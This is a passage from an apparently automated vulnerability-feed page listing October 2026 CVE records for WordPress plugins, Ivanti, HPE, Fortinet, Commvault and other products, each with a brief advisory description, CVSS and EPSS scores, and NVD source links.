CVSS 8.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103307).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103307&date=2026-10-25).
Sources:
NVD CVE-2026-103307: https://nvd.nist.gov/vuln/detail/CVE-2026-103307
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103307&date=2026-10-25
The Walletdoc Payment Gateway for WooCommerce WordPress plugin before 1.8.5 does not properly sanitize and escape user input before using it in a SQL statement, and verifies its payment webhook with a signing secret that is empty by default, allowing unauthenticated attackers to perform SQL injection attacks and to mark arbitrary orders as paid.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WP Booking System  WordPress plugin before 2.1.0.1 does not sanitise and escape a client-controllable request value before storing it and later outputting it in an...
https://kevwire.com/record/CVE-2026-107126
The WP Booking System  WordPress plugin before 2.1.0.1 does not sanitise and escape a client-controllable request value before storing it and later outputting it in an... (Oct 14, 2026).
The WP Booking System  WordPress plugin before 2.1.0.1 does not sanitise and escape a client-controllable request value before storing it and later outputting it in an administration screen, allowing unauthenticated attackers to perform Stored Cross-Site Scripting attacks that execute in the session of an administrator who views the stored data.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107126).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107126&date=2026-10-25).
Sources:
NVD CVE-2026-107126: https://nvd.nist.gov/vuln/detail/CVE-2026-107126
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107126&date=2026-10-25
The WP Booking System  WordPress plugin before 2.1.0.1 does not sanitise and escape a client-controllable request value before storing it and later outputting it in an administration screen, allowing unauthenticated attackers to perform Stored Cross-Site Scripting attacks that execute in the session of an administrator who views the stored data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Ultimate Multisite  WordPress plugin before 2.17.2 does not validate a user-supplied value used to select a file to include, allowing unauthenticated attackers to include and...
https://kevwire.com/record/CVE-2026-107508
The Ultimate Multisite  WordPress plugin before 2.17.2 does not validate a user-supplied value used to select a file to include, allowing unauthenticated attackers to include and... (Oct 14, 2026).
The Ultimate Multisite  WordPress plugin before 2.17.2 does not validate a user-supplied value used to select a file to include, allowing unauthenticated attackers to include and read arbitrary local files, including the WordPress configuration file.
CVSS 8.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107508).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107508&date=2026-10-25).
Sources:
NVD CVE-2026-107508: https://nvd.nist.gov/vuln/detail/CVE-2026-107508
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107508&date=2026-10-25
The Ultimate Multisite  WordPress plugin before 2.17.2 does not validate a user-supplied value used to select a file to include, allowing unauthenticated attackers to include and read arbitrary local files, including the WordPress configuration file.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The File Upload to Order WordPress plugin before 1.1.4 does not validate or confine a file path taken from attacker-controlled session data before deleting the file, and the...
https://kevwire.com/record/CVE-2026-107594
The File Upload to Order WordPress plugin before 1.1.4 does not validate or confine a file path taken from attacker-controlled session data before deleting the file, and the... (Oct 14, 2026).
The File Upload to Order WordPress plugin before 1.1.4 does not validate or confine a file path taken from attacker-controlled session data before deleting the file, and the action that performs the deletion is reachable by unauthenticated users, allowing them to delete arbitrary files on the server, including files whose removal leads to full site compromise.
CVSS 10.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107594).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107594&date=2026-10-25).
Sources:
NVD CVE-2026-107594: https://nvd.nist.gov/vuln/detail/CVE-2026-107594
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107594&date=2026-10-25
The File Upload to Order WordPress plugin before 1.1.4 does not validate or confine a file path taken from attacker-controlled session data before deleting the file, and the action that performs the deletion is reachable by unauthenticated users, allowing them to delete arbitrary files on the server, including files whose removal leads to full site compromise.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The affiliate-toolkit  WordPress plugin before 3.9.1 does not prevent a low-privileged user from supplying a template body that its bundled templating engine compiles and executes...
https://kevwire.com/record/CVE-2026-86787
The affiliate-toolkit  WordPress plugin before 3.9.1 does not prevent a low-privileged user from supplying a template body that its bundled templating engine compiles and executes... (Oct 14, 2026).
The affiliate-toolkit  WordPress plugin before 3.9.1 does not prevent a low-privileged user from supplying a template body that its bundled templating engine compiles and executes as PHP, allowing users with the Contributor role or above to run arbitrary PHP code on the server.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86787).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86787&date=2026-10-25).
Sources:
NVD CVE-2026-86787: https://nvd.nist.gov/vuln/detail/CVE-2026-86787
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86787&date=2026-10-25
The affiliate-toolkit  WordPress plugin before 3.9.1 does not prevent a low-privileged user from supplying a template body that its bundled templating engine compiles and executes as PHP, allowing users with the Contributor role or above to run arbitrary PHP code on the server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Forms WordPress plugin before 3.0.2 does not sanitise submitted form values on storage, nor escape them before outputting them on the form submissions screen in the...
https://kevwire.com/record/CVE-2026-86799
The Forms WordPress plugin before 3.0.2 does not sanitise submitted form values on storage, nor escape them before outputting them on the form submissions screen in the... (Oct 14, 2026).
The Forms WordPress plugin before 3.0.2 does not sanitise submitted form values on storage, nor escape them before outputting them on the form submissions screen in the administration dashboard, allowing unauthenticated users to inject arbitrary web scripts that will execute in the browser of any administrator viewing the submissions.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86799).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86799&date=2026-10-25).
Sources:
NVD CVE-2026-86799: https://nvd.nist.gov/vuln/detail/CVE-2026-86799
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86799&date=2026-10-25
The Forms WordPress plugin before 3.0.2 does not sanitise submitted form values on storage, nor escape them before outputting them on the form submissions screen in the administration dashboard, allowing unauthenticated users to inject arbitrary web scripts that will execute in the browser of any administrator viewing the submissions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass cryptographic...
https://kevwire.com/record/CVE-2026-101294
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass cryptographic... (Oct 13, 2026).
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass cryptographic signature verification due to improper verification of cryptographic signature.
CVSS 8.7 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101294).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101294&date=2026-10-25).
Sources:
NVD CVE-2026-101294: https://nvd.nist.gov/vuln/detail/CVE-2026-101294
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101294&date=2026-10-25
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 and IBM WebSphere Application Server 8.5, and 9.0 could allow a remote attacker to bypass cryptographic signature verification due to improper verification of cryptographic signature.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An External Control of File Name or Path vulnerability in Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to redirect application-generated requests...
https://kevwire.com/record/CVE-2026-106042
An External Control of File Name or Path vulnerability in Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to redirect application-generated requests... (Oct 13, 2026).
An External Control of File Name or Path vulnerability in Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to redirect application-generated requests to an attacker-controlled endpoint and obtain EPMM connector credentials transmitted by the application.
CVSS 9.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106042).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106042&date=2026-10-25).
Sources:
NVD CVE-2026-106042: https://nvd.nist.gov/vuln/detail/CVE-2026-106042
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106042&date=2026-10-25
An External Control of File Name or Path vulnerability in Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to redirect application-generated requests to an attacker-controlled endpoint and obtain EPMM connector credentials transmitted by the application.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Missing Authentication for Critical Function vulnerability in Ivanti Xtraction before version 2026.4 allows a remote unauthenticated attacker to create, modify, trusted site.
https://kevwire.com/record/CVE-2026-106043
A Missing Authentication for Critical Function vulnerability in Ivanti Xtraction before version 2026.4 allows a remote unauthenticated attacker to create, modify, trusted site. (Oct 13, 2026).
A Missing Authentication for Critical Function vulnerability in Ivanti Xtraction before version 2026.4 allows a remote unauthenticated attacker to create, modify, trusted site.
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106043).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106043&date=2026-10-25).
Sources:
NVD CVE-2026-106043: https://nvd.nist.gov/vuln/detail/CVE-2026-106043
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106043&date=2026-10-25
A Missing Authentication for Critical Function vulnerability in Ivanti Xtraction before version 2026.4 allows a remote unauthenticated attacker to create, modify, trusted site.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Path Traversal vulnerability in the template export functionality of Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to read arbitrary files.
https://kevwire.com/record/CVE-2026-106047
A Path Traversal vulnerability in the template export functionality of Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to read arbitrary files. (Oct 13, 2026).
A Path Traversal vulnerability in the template export functionality of Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to read arbitrary files.
CVSS 7.7 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106047).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106047&date=2026-10-25).
Sources:
NVD CVE-2026-106047: https://nvd.nist.gov/vuln/detail/CVE-2026-106047
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106047&date=2026-10-25
A Path Traversal vulnerability in the template export functionality of Ivanti Xtraction before version 2026.4 allows a remote authenticated attacker to read arbitrary files.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in HPE NonStop iTP WebServer can cause memory corruption and system shutdown.
https://kevwire.com/record/CVE-2026-73790
A vulnerability in HPE NonStop iTP WebServer can cause memory corruption and system shutdown. (Oct 14, 2026).
A vulnerability in HPE NonStop iTP WebServer can cause memory corruption and system shutdown.
CVSS 8.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73790).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73790&date=2026-10-25).
Sources:
NVD CVE-2026-73790: https://nvd.nist.gov/vuln/detail/CVE-2026-73790
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73790&date=2026-10-25
A vulnerability in HPE NonStop iTP WebServer can cause memory corruption and system shutdown.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE NonStop DNS 9.2.3 Non Secure Version could cause a Denial of Service.
https://kevwire.com/record/CVE-2026-73798
A security vulnerability in HPE NonStop DNS 9.2.3 Non Secure Version could cause a Denial of Service. (Oct 14, 2026).
A security vulnerability in HPE NonStop DNS 9.2.3 Non Secure Version could cause a Denial of Service.
CVSS 8.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73798).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73798&date=2026-10-25).
Sources:
NVD CVE-2026-73798: https://nvd.nist.gov/vuln/detail/CVE-2026-73798
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73798&date=2026-10-25
A security vulnerability in HPE NonStop DNS 9.2.3 Non Secure Version could cause a Denial of Service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE NonStop SNMP Trap Multiplexer may allow remote code execution
https://kevwire.com/record/CVE-2026-76655
A security vulnerability in HPE NonStop SNMP Trap Multiplexer may allow remote code execution (Oct 14, 2026).
A security vulnerability in HPE NonStop SNMP Trap Multiplexer may allow remote code execution
CVSS 7.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76655).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76655&date=2026-10-25).
Sources:
NVD CVE-2026-76655: https://nvd.nist.gov/vuln/detail/CVE-2026-76655
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76655&date=2026-10-25
A security vulnerability in HPE NonStop SNMP Trap Multiplexer may allow remote code execution

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4,...
https://kevwire.com/record/CVE-2026-23707
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4,... (Oct 13, 2026).
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.7, FortiAnalyzer 7.2 all versions, FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiAnalyzer Cloud 7.4.1 through 7.4.7, FortiAnalyzer Cloud 7.2.1 through 7.2.11, FortiManager 7.6.0 through 7.6.4, FortiManager 7.4.0 through 7.4.6, FortiManager 7.2 all versions, FortiManager Cloud 7.6.2 through 7.6.4 may allow a low privileged user to execute arbitrary commands via crafted requests.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23707).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-23707&date=2026-10-25).
Sources:
NVD CVE-2026-23707: https://nvd.nist.gov/vuln/detail/CVE-2026-23707
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-23707&date=2026-10-25
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.7, FortiAnalyzer 7.2 all versions, FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiAnalyzer Cloud 7.4.1 through 7.4.7, FortiAnalyzer Cloud 7.2.1 through 7.2.11, FortiManager 7.6.0 through 7.6.4, FortiManager 7.4.0 through 7.4.6, FortiManager 7.2 all versions, FortiManager Cloud 7.6.2 through 7.6.4 may allow a low privileged user to execute arbitrary commands via crafted requests.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') vulnerability in Citrix UniconOS.
https://kevwire.com/record/CVE-2026-53562
Improper link resolution before file access ('link following') vulnerability in Citrix UniconOS. (Oct 13, 2026).
Improper link resolution before file access ('link following') vulnerability in Citrix UniconOS.

This issue affects UniconOS: before 2607 CR and before 2603 LTSR CU2.
CVSS 8.5 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53562).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53562&date=2026-10-25).
Sources:
NVD CVE-2026-53562: https://nvd.nist.gov/vuln/detail/CVE-2026-53562
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53562&date=2026-10-25
Improper link resolution before file access ('link following') vulnerability in Citrix UniconOS.

This issue affects UniconOS: before 2607 CR and before 2603 LTSR CU2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CVFS contained an input validation issue affecting command execution.
https://kevwire.com/record/CVE-2026-77099
CVFS contained an input validation issue affecting command execution. (Oct 13, 2026).
CVFS contained an input validation issue affecting command execution.  Software customers upgrade to resolved maintenance release. Update CVFS.
CVSS 9.3 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77099).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77099&date=2026-10-25).
Sources:
NVD CVE-2026-77099: https://nvd.nist.gov/vuln/detail/CVE-2026-77099
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77099&date=2026-10-25
CVFS contained an input validation issue affecting command execution.  Software customers upgrade to resolved maintenance release. Update CVFS.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MediaAgent contained a heap-based buffer overflow issue affecting service availability.
https://kevwire.com/record/CVE-2026-77100
MediaAgent contained a heap-based buffer overflow issue affecting service availability. (Oct 13, 2026).
MediaAgent contained a heap-based buffer overflow issue affecting service availability.  Software customers upgrade to resolved maintenance release. Update Commvault installation of MediaAgents and HyperScale.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77100).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77100&date=2026-10-25).
Sources:
NVD CVE-2026-77100: https://nvd.nist.gov/vuln/detail/CVE-2026-77100
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77100&date=2026-10-25
MediaAgent contained a heap-based buffer overflow issue affecting service availability.  Software customers upgrade to resolved maintenance release. Update Commvault installation of MediaAgents and HyperScale.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### QAPI contained a stack-based buffer overflow affecting service availability.
https://kevwire.com/record/CVE-2026-97333
QAPI contained a stack-based buffer overflow affecting service availability. (Oct 13, 2026).
QAPI contained a stack-based buffer overflow affecting service availability.  Software customers upgrade to resolved maintenance release. Update CommServe, Web Server, Command Center and Index Server.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97333).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97333&date=2026-10-25).
Sources:
NVD CVE-2026-97333: https://nvd.nist.gov/vuln/detail/CVE-2026-97333
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97333&date=2026-10-25
QAPI contained a stack-based buffer overflow affecting service availability.  Software customers upgrade to resolved maintenance release. Update CommServe, Web Server, Command Center and Index Server.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The network messaging layer contained improper handling of highly compressed data affecting service availability.
https://kevwire.com/record/CVE-2026-97334
The network messaging layer contained improper handling of highly compressed data affecting service availability. (Oct 13, 2026).
The network messaging layer contained improper handling of highly compressed data affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe server, Web Server, Command Center, MediaAgents, clients, and HyperScale.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97334).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97334&date=2026-10-25).
Sources:
NVD CVE-2026-97334: https://nvd.nist.gov/vuln/detail/CVE-2026-97334
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97334&date=2026-10-25
The network messaging layer contained improper handling of highly compressed data affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe server, Web Server, Command Center, MediaAgents, clients, and HyperScale.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-100127
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100127).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100127&date=2026-10-25).
Sources:
NVD CVE-2026-100127: https://nvd.nist.gov/vuln/detail/CVE-2026-100127
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100127&date=2026-10-25
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-100128
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100128).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100128&date=2026-10-25).
Sources:
NVD CVE-2026-100128: https://nvd.nist.gov/vuln/detail/CVE-2026-100128
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100128&date=2026-10-25
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
